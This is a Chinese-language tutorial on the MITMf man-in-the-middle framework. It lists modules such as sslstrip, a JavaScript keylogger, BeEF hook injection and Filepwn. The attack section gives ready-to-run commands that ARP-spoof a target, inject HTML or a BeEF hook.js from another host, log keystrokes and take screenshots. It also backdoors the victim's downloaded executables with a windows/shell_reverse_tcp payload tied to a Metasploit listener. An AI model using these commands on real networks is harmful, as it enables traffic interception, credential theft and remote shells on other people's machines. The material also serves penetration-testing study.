简介
mitmf是一个可用于中间人攻击的框架。它是基于代理工具sergio-proxy修改而来。
安装
最简单的按照
sudo apt-get install python-nfqueue,pefile sudo apt-get install mitmf* pip uninstall twisted wget http://twistedmatrix.com/Releases/Twisted/15.5/Twisted-15.5.0.tar.bz2 pip install ./Twisted-15.5.0.tar.bz2
https://github.com/byt3bl33d3r/MITMf 官方的按照方法如下
功能
sslstrip模块
这个我不多说大家也都能明白,默认是开启的状态。这里我尝试了用-d参数关闭了sslstrip,但是出现了无法使用的情况,应该是框架本身的bug。
Filepwn模块
主要作用是当被欺骗对象尝试下载文件时,首先对文件进行分析,对可执行文件(PE、ELF)进行后门注入,然后再给到被欺骗对象,这个下面我还会给出详细的说明。
Cachekill模块
清空客户端的缓存缓冲池,这个在我们需要重新注入一段js时是很有用的。这个功能还是非常有用的,关于用处,大家可以“渗透之缓存投毒”的文章,不细说。
Spoof模块
十分重要的一个模块,当我们使用MITM功能攻击欺骗时绝对是不能缺少的。其主要包括对ARP、ICMP、DHCP进行流量重定向(三种模式不能同时使用),手动指定iptables命令等,其他的规则文件(cfg文件)在主目录的config目录下,我们可以进行自定义配置。
BeefAutorun模块
该模块可以使框架可以连接到BeEF,BeEF的强大我想大家是有目共睹的。连接到BeEF之后就可以将MITM与浏览器渗透结合起来,功能自然更强大。
Replace模块
这个模块主要是可以对浏览内容进行替换,支持正则表达式。注意,这里模块默认情况下是强制刷新缓存缓冲池的,要想不改变缓冲内容,需要手动指定keep-cache参数。
Inject模块
可以向被欺骗者的浏览内容中注入各种猥琐的东西,比如js,html,图片等。
Browser Profiler插件
枚举被欺骗机器的浏览器插件。对于我们前期的信息收集阶段还是很有用的。
JavaPwn模块
可以通过向被攻击机器中注入jar使得浏览内容被毒化,和metasploit联合可以直接渗透机器拿到shell。
Javascript Keylogger模块
一个键盘记录js。
App Cache Poison
app缓存投毒。对于网页应用程序进行毒化处理,然后进行随心所欲的进行攻击测试。是Krzysztof Kotowicz的补充模块。
Upsidedownternet
恶搞模块,让浏览者的世界翻转。
攻击
1、注入到html
mitmf -i wlan0 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.104 --inject --html-url http://192.168.1.107:3000/demos/butcher/index.html
2、注入js与beef-xss结合
mitmf -i wlan0 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.104 --inject --js-url http://192.168.1.107:3000/hook.js
3、Screenshotter模块对目标浏览器进行截屏
mitmf -i wlan0 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.104 --screen
4、恶搞功能: 它可以使目标浏览网页时,所有的图片都倒转 180度。
mitmf --spoof --arp -i wlan0 --gateway 192.168.1.1 --target 192.168.1.104 --upsidedownternet
5、keylogger使用
mitmf -i wlan0 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.104 --jskeylogger
6、Filepwn模块
原理:ARP过程中如果探测到靶机有下载的活动,便劫持下载链接,首先将文件下载下来进行解包分析,如果是可执行文件就尝试注入后门,如果失败则重新打包。最后将文件输出给靶机由靶机进行下载。这里的文档支持zip和tar.gz格式解包,支持各种可执行文件。
打开msf,使用handler监听:
use exploit/multi/handler
set LHOST 192.168.1.152
set LPORT 1447
run
在使用MITMf前我们需要对配置文件进行配置,注入信息配置如下(只列出作用位置)
[[[WindowsIntelx86]]]
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
HOST = 192.168.1.152
PORT = 1447
SHELL = reverse_shell_tcp
SUPPLIED_SHELLCODE = None
ZERO_CERT = False
PATCH_DLL = True
MSFPAYLOAD = windows/shell_reverse_tcp
启动mitmf:
mitmf -i wlan0 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.169 --filepwn